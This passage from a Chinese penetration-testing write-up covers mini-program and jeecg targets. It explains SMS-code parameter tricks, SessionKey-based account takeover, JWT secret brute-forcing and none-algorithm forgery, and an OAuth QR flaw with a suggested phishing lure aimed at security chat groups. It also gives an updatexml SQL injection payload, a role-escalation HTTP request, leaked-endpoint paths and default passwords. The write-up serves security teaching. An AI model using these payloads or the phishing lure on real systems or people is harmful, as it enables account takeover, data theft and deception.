类似下面的，常用的就是下面几个：

phone=13888888888,phone=13999999999
phone=13888888888&phone=13999999999
phone=13888888888,13999999999
phone=13888888888&13999999999

下面我就直接重新回到刚才上面的抓包步骤，抓取发送短信验证码的数据包，然后去尝试使用上面的绕过方法，看看能不能进行绕过，双手机号验证码同时发送，这里我使用我的卡一和卡二来演示：

我这里使用的就是下面这个思路：

phone=13888888888&13999999999

然后就可以看到自己手机短信验证码，收到了来自卡一和卡二一样的验证码，且时间也是一样的：

然后我们这里就可以使用卡二的手机收到的验证码，只需要知道卡一的手机号就行了，那么就可以直接登陆卡一的账号

那么我们后面深入利用就可以去改人力资源局相关站点去搜索电话号码，然后使用这个漏洞就可以越权登陆其他账号，特别是像权限比较高的admin之类的管理员账号

三、短信轰炸总结

下面是我之前总结的一些验证码爆破的一个思维导图，师傅们可以保存下，对于挖掘企业src和众测的时候，厂家收不收呢，其实可以看看相关的文档，一般都是定义每分钟15/30条以上就收

0x3 漏洞 二 SessionKey三要素泄露

一、未授权登陆

下面这个漏洞就是给师傅们分享下，在渗透测试中比较容易发现，并且好打的一个漏洞点——SessionKey三要素泄露，这个漏洞在蛮多微信小程序中都存在，且利用的手法不难，看完我这篇文章，师傅们也可以去测试下

这个漏洞需要使用到一个SessionKey三要素解密的工具，有直接下载使用的，也有burpsuit插件，反正原理都是一样的，加解密→替换数据包→未授权登陆

1、首先介绍下使用到的SessionKey解密工具

https://github.com/mrknow001/wx_sessionkey_decrypt/releases/tag/v0.1

这个工具直接双击运行即可，类似下面的：

还有一个就是使用burpsuit的自带插件

https://github.com/mrknow001/BurpAppletPentester/releases/tag/v1.1

直接就可以导入到bp插件中

2、这个微信小程序是目标资产中的一个大学的小程序设备，大学那种预约访谈进出校园、校园招聘那种功能点，像这样的基本上都有那种手机号一键登陆的功能点，像这样的微信小程序手机号一键登陆，很大概率存在SessionKey三要素泄露漏洞，这样的漏洞我之前挖EDUSRC挖了好多，且有一本证书站也就是这个漏洞，但是没有那么明显

3、点击手机号快捷登陆操作，直接使用bp抓包，可以看到数据包中出现了SessionKey三要素泄露：

4、直接一键发送到AppletPentester 插件中

5、直接一键解密即可

6、在信息收集的时候，在一个接口中，发现这个微信小程序里面有很多的一些学校老师信息，比如手机号之类的，然后这里我就带师傅们利用这个SessionKey三要素泄露漏洞，直接未授权登陆管理员老师账号

直接替换成管理员老师176的手机号，然后点击加密

再进行登陆口抓起数据包，替换数据包，然后点击重发数据包即可

就可以直接未授权登陆这个账号了

二、弱口令+信息泄露

然后，我这里直接把这个小程序的host拿到web页面去访问，因为我一般打小程序都有这个习惯，看看web端有没有系统，特别是那种登陆系统，弱口令的概率很大

打开web端访问，直接跳转这个页面，特别经典的若依系统页面

这里直接使用刚才的手机号+弱口令密码

直接成功登陆了后台，里面泄露了整个学校的学校个人敏感信息

0x4 JWT爆破攻击

一、可爆破/未验证签名导致越权

首先通过微信搜索小程序，找到对应目标资产中的小程序系统

直接点击这个微信小程序，这个时候我们需要一直打开我们的bp抓取小程序的数据包（这个是一个测试小程序的一个好习惯，因为有些接口，包括敏感信息泄露，看历史的数据包很关键），然后看看数据包有没有什么提示，因为这里我的bp安装了HAE，一般重点关注带颜色的数据包

这里我们可以看到bp的历史数据包，显示了多个JSON Web Token也就是大家常说的JWT值，像一般碰到这样的JWT值，我一般都会选择JWT爆破尝试haiy选择有无设置None加密，去进行做一个渗透测试

这里先直接复制到https://jwt.io/ 去看看这个JWT里面的内容，然后去猜测这个paylod校验哪部分

下面我来给师傅们讲解下这个payload代表什么，一些新手师傅可能没有了解过，包括后面进行数据包替换，也是要修改其中的payload值

|字段名|值|说明|
|-|-|-|
|role|appUser|用户角色，表明用户属于应用层普通用户（非管理员）|
|exp|1747377338|令牌过期时间（Unix 时间戳）。通过转换可得具体时间：2025-11-14 11:15:38 UTC|
|userId|xxxxxxxxxxxxxxxxxx|用于标识用户身份|
|user_key|xxxxx-xxxx-xxxx-xxxx |用户密钥或关联密钥（可能用于访问控制或加密）。|
|username|1xxxxxxxxx79|手机号，一键微信登陆的|

这里先使用自己修改的JWT脚本爆破工具，看看能不能爆破出密钥

爆破发现其密钥为123456

然后直接来到刚才JWT的网站，去利用该key构造JWT，可以直接进入后台，下面的勾需要勾上

因为这里我经过测试，这个网站的JWT是对user_key进行校验，所以只要在规定时间内user_key不过期，那么我们就可以拿另外一个手机号进行测试，替换bp抓取登陆口的数据包，然后放包就可以直接登陆别的账号

首先这里需要修改下时间戳，拿这个网站：https://tool.lu/timestamp/ 一般都是改成第二天的时间，不可以早于测试时间

还有就是把username替换下，这里我做测试，替换我的卡二，也就是最后面说93的尾号，因为经过测试，普通用户的role 都是appuser，这里猜测管理员可能是admin

然后直接在小程序登陆口，使用bp抓包，然后劫持数据包，进行替换token值，因为这里经过测试是校验的JWT值

通过不断替换JWT值，然后不断测试放包，放包，最后面可以直接不需要使用账号密码，直接登陆改账号

二、设置加密为None导致不验证签名从⽽达到越权

上面那种情况只需要爆破密钥，或者一些系统框架默认使用一些密钥，没有经过修改，可以直接利用默认key的那种，这里给师傅们讲解下那种设置加密了——None加密，导致直接爆破不了，需要使用JWT工具自动生成None加密的四种不同算法，也可以理解成一种绕过思路

这里需要使用的工具是jwt_tool，下载地址如下：https://github.com/ticarpi/jwt_tool

这里我这个小程序是不存在这个漏洞，但是这里给没有学过这个漏洞的师傅们演示下

python jwt_tool.py JWT值

会直接显示JWT解密以后的内容显示出来

下面使用这个工具来测试 None 算法漏洞

使用下面的这个语法跑这个脚本，⾃动⽣成 4 种 None 算法的变体（⼤⼩写敏感测试），其实也就是使用这四个token去挨个尝试替换，然后发包，看看返回包是否有成功回显数据

python jwt_tool.py JWT值 -X a

burpsuit返回包总结：

401 Unauthorized → 签名校验失败，可尝试算法混淆或密钥爆破
200 OK → 攻击成功（罕⻅，说明存在⾼危漏洞）
{"error":"alg not allowed"} → 服务端禁⽤ None，可尝试算法改⽤其他攻击向量（如 PS256 → HS256）

0x5 OAuth2.0漏洞

这次我在测试过程中碰到了OAuth2.0漏洞，是一个企业的微信公众号和一个带宣传性的一个登陆管理网站存在的这个漏洞，直接存在二维码不需要二次确认扫描，目前已经被修复了，但是那种漏洞的站点很明显，截屏那个网站的logo打码也看的出来

所以这里直接给师傅们分享下我之前写的一篇关于OAuth2.0漏洞的文章，在先知社区原创的文章：https://xz.aliyun.com/news/16153

简单案例分享

简单来讲就是在登录过程中，比如可以使用第三方应用授权登录，且扫描二维码登录不需要确认校验，直接扫码即可登录，那么就可以使用二维码钓鱼之类的危害，就是文章开头的描述的百度案例一样。

这里进入后台，然后有一个使用微信绑定，扫描二维码的功能

点击立即绑定，然后就会弹出来一个二维码，那么我们就可以拿这个二维码进行一个钓鱼欺骗，让别人扫描二维码，从而绑定别人的微信号

就跟我上面的一个，搞一个钓鱼的二维码模板，然后往一些网安群里面一发，说什么小白免费领取网安教程，只需要扫描此二维码即可（肯定有人扫的）

0x6 jeecg泄露漏洞

一、jeecg框架简介

JeecgBoot是一款基于AIGC、BPM和低代码引擎的AI低代码平台，旨在帮助企业快速实现低代码开发和构建个性化AI应用！前后端分离架构Ant Design&Vue3，SpringBoot，SpringCloud Alibaba，Mybatis-plus，Shiro。强大的代码生成器让前后端代码一键生成，无需写任何代码！ 引领AI低代码开发模式: AI生成->OnlineCoding-> 代码生成-> 手工MERGE， 帮助Java项目解决80%的重复工作，让开发更多关注业务，快速提高效率 节省成本，同时又不失灵活性！低代码能力：Online表单、Online报表、大屏/仪表盘设计、表单设计、流程设计、报表设计;AI能力：AI应用平台+知识库问答、AI模型管理、AI流程编排、AI聊天、AI建表等,支持各种AI大模型ChatGPT、DeepSeek、Ollama等.

jeecg官网如下：

https://www.jeecg.com/

二、jeecg综合漏洞利用工具

这里先给新手师傅们分享个还不错的jeecg漏洞利用工具，首先这个工具书GUI图形化工具，还有就是这个工具更新了很大jeecg的历史nday漏洞在里面，使用操作简单

工具下载链接：https://github.com/MInggongK/jeecg-

这里给师傅们演示下，直接把可能存在jeecg漏洞的url导入目标中，然后选择ALL模块，进行检测即可

三、从小程序到web端接口泄露

好了，这里废话不多说了，这里回归这次渗透测试项目中来，再次给师傅们分享下这个漏洞，因为有些刚接触网安的师傅还没有接触这个漏洞，所以这里给大家分享下，这次jeecg漏洞通过以前保留的一些jeecg测试手册，一些jeecg的接口和bp数据包，像这样的jeecg框架系统，都是可以直接拿来测试

1、首先，这个系统漏洞还是小程序，直接搜索对应资产小程序名称，这个系统是该市里面的一个大学的缴费系统

2、打开微信小程序，首先我会直接去打开bp抓包，然后这里随便点击里面的功能点，然后进行看里面的数据包

然后去翻里面的历史数据包，师傅们可以看到下面的table关键字

这个tableNane关键字让我感到兴趣，是因为开发人员在一些做接口命名的时候，不会随意取名称，他这个接口后面的tableNane=xxxx，这里我直接去拿table表名出线多的去尝试猜测下

这里我尝试了几个，但是都没有出信息，还尝试了information_schema.tables表名，都没有什么数据回显

然后我这里还尝试直接把表名置空，但是依然没有什么敏感数据回显

3、这里直接把小程序数据包中的host域名和端口，直接放到web端去访问，然后再尝试别的测试

4、这里使用findsomething插件，去跑下web页面泄露的接口，这里把收集到的接口放到一个1.txt的文件中

5、这里师傅们要是没有思路，最简单的就是就可以直接把findsomething插件泄露的接口利用bp的POST和GET方法都跑一遍即可。但是这里我需要找找我保存的接口里面有没有泄露跟tableName相关的

6、通过findsomething插件，得到了好几个tableName的接口，然后直接使用bp去访问，发现一个接口直接泄露了四百多个数据表格名称

然后每个表里面都泄露了好几百个个人敏感信息，比如身份证、手机号、姓名之类的

四、SQL注入漏洞

这个小程序的一个接口还存在SQL注入漏洞，通过测试，直接可以注入出数据库名称，直接又一个SQL注入到手了

SQL注入payload：updatexml(1,concat(0x7e,user(),0x7e),1)

五、提权操作

师傅们，其实测试到这里，这个系统小程序和web端都摸熟悉了，就是jeecg的系统框架，里面的很多接口都是jeecg开发默认的接口名称，但是前面的路径发生了一点变化，没有原班直接拿jeecg的接口使用，但是经过FUZZ测试出来了很多接口，这里给师傅们分享下，我先注册一个账号，然后提权到admin管理员账号的过程。

首先我使用register注册接口，注册一个账号

下面就是提权的一个操作了，需要再次FUZZ接口，因为打jeecg漏洞多的师傅们，都知道，jeecg有很多的接口，像什么注册、查信息，查user_id，查所以账号的token值，还有用户敏感信息等，但是现在很多系统都不会直接拿jeecg都路径接口部署了，多多少少会进行魔改

这里首先需要查询管理员admin的账户ID

然后查询自己刚才创建用户的ID值

然后使用打提权使用的jeecg漏洞poc，如下：

//roleld填写需要提权的角色id userldList填写自己的id

POST xxxxx/jeecg-boot/sys/user/addSysUserRole（jeecg接口，需要自己去尝试，不一定是我这个） HTTP/1.1
Host: 
Cookie: cna=Ov9SH4RxGiACAf////9C18zb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjUzNzMyNDMsInVzZXJuYW1lIjoiMTEwMTAyIn0.NXRckymfKdZvEFsDQZ9Jwvk_rU_gVny2Rx6A
Tenant-Id: 0
Origin:
Dnt: 1
Referer: 
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: close
Content-Type: application/json
Content-Length: 96

{
"roleId":"xxxxxxxxxxx",
"userIdList":[
"xxxxxxxxxxxxxxxx"
]

}


这样就成功创建了这个系统的admin管理员的账户了，后面的思考就是直接使用创建的账户密码，去尝试爆破登陆其他系统

六、其他jeecg小技巧

下面再给大家总结下jeecg的其他打法小技巧

一、常见的接口敏感信息泄露：

/v2/api-docs
/swagger-ui.html
/env

//获取参数信息
/actuator
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator/httptrace

二、常见jeecg框架接口关键字：

像看到下面的几个关键字，首先需要想到使用jeecg去打，因为很多现在直接把jeecg关键字给魔改了

jeecg/

api/sys/

sys/user

三、jeecg的几个常用弱口令：

可以使用下面的弱口令去尝试爆破下登陆接口

admin:123456

jeecg:123456

0x7 总结

然后还有很多其他的漏洞，这次文章就不一一给师傅们分享了，留着下次有时候给师傅们分享，这次写这篇文章由于之前的渗透测试项目漏洞都修复 了，我才写的这篇文章，所以实属不易，为了给师傅们演示的那么细致，特意去网上现找了一些漏洞实操截图给师傅们，因为之前的漏洞报告没有写的那么详细，这里怕新手师傅看不懂。

这次渗透测试总共提交了四五十个漏洞报告，其中包括很多框架系统的默认弱口令，这个确实让我蛮意外的，还有一些网上的nday，这里面有些老系统也存在，因为测试的资产比较多，所以相对来讲出洞率较高。

最后，希望看完这篇文章的你，也可以挖到心仪的漏洞！

  1. 1
  2. ...
  3. 718
  4. 719
  5. 720
  6. 721
  7. 722
  8. 723
  9. 724
  10. ...
  11. 866